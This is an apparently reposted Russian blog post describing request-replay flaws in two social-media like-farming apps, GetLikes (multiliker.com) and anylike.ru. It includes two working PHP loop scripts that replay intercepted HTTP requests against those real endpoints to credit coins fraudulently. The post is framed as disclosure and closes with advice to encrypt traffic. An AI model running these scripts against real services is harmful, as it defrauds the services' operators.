Как я получил доступ к «бесконечным» лайкам в Instagram и ВК

от автора

Сегодня днем я заметил, что мой одногруппник скучно кликал по дисплею. Подойдя ближе, я увидел, что он выполняет задания, чтобы заработать баллы и на них накрутить себе лайки в Instagram. Мне эта идея показалась очень бредовой. Вечером, когда я пришел домой, решил подробнее рассмотреть эти приложения с заданиями и скачал парочку на свой iPhone.

«Бесконечные» лайки в Instagram

Первое приложение, которое я скачал, называется «GetLikes».

image

Я запустил на компьютере Charles, чтобы отследить запросы приложения. Поставил лайк и приложение отправило интересный POST запрос, который я смог перехватить благодаря тому, что в этом приложение данные передавались по протоколу HTTP в незашифрованном виде.

image

hash — наш токен, который обновляется при авторизации в приложении;
media — номер изображения, которому мы поставили лайк;
answer — ответ от сервера instagram (поставили ли мы лайк или нет?).

Мне стало интересно, а что если отправить этот запрос несколько раз? Я отправил и… Эврика! Мой счёт пополнился на 1 монету, хотя я не ставил лайк.

Я написал маленький скрипт на php и попробовал накрутить 100 монет и они успешно были зачислены.

<? 	function postData($url, $data){   	$curl = curl_init();     curl_setopt($curl, CURLOPT_URL, $url);     curl_setopt($curl, CURLOPT_RETURNTRANSFER,true);     curl_setopt($curl, CURLOPT_POST, true); 	curl_setopt($curl, CURLOPT_COOKIEFILE, "cookie.txt");     curl_setopt($curl, CURLOPT_POSTFIELDS, $data);     $out = curl_exec($curl);     curl_setopt($curl, CURLOPT_COOKIEJAR, "cookie.txt");     curl_close($curl);     return $out; } $i = 0; $hash = "ваш_хэш"; $media = "фотография_которую_вы_лайкнули"; while ($i < 100){ postData('http://www.multiliker.com/service/like2/', 'hash='.$hash.'&media='.$media.'&answer={"status":"ok"}'); $i++; }  ?> 

PS: актуальная. Об уязвимости сообщил, но меня послали куда подальше и сказали, что у них безопасный сервис.

«Бесконечные» лайки во ВКонтакте

Вы наверняка слышали про такие сервисы как Likest, Turboliker и т.д. Я нашел приложение, которое также за выполнение заданий даёт монетки, которые можно потратить на получение лайков/репостов/подписчиков. Я проанализировал трафик, который отправляет приложение и опять нашёл очень интересную деталь (да, здесь тоже было незашифрованное подключение).

image

Рассмотрим параметры:
task_id — номер задания. (нужный нам параметр в дальнейшем);
user_id — id нашего аккаунта ВК;
cost — стоимость выполнения задания;
group_id — id группы, на которую подписались.

Естественно, я попробовал повторить этот запрос, но изменить параметр cost в большую сторону, но это ничего мне не дало. Тогда я вернул его к дефектному значению — 2. Затем я изменил параметр task_id. И что вы думаете? На мой счёт успешно зачислились заветные две монеты.

Я написал маленький скрипт и запустил.

<? $i = 1; $id = ваш_id; while ($i < 100){ file_get_contents("http://anylike.ru/ios/tasks.update.1.7?task_id=".$i."&user_id=".$id."&cost=2&group_id=95172440"); $i++; } ?> 

надо было юзать curl

Монеты успешно зачислились на мой счёт. Тут отдельно стоит поговорить о халатности сотрудников, работающих на этом сайте. На их сайте: anylike.ru был всего один контакт. Я обратился, описал уязвимость, но ответ меня очень удивил:

image
image

PS: на данный момент уязвимость исправлена.

Вывод

Что хочется сказать? Разработчики, шифруйте отправляемый трафик и все запросы, чтобы злоумышленники не могли получить доступ к приватным данным.

ссылка на оригинал статьи http://habrahabr.ru/post/261153/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *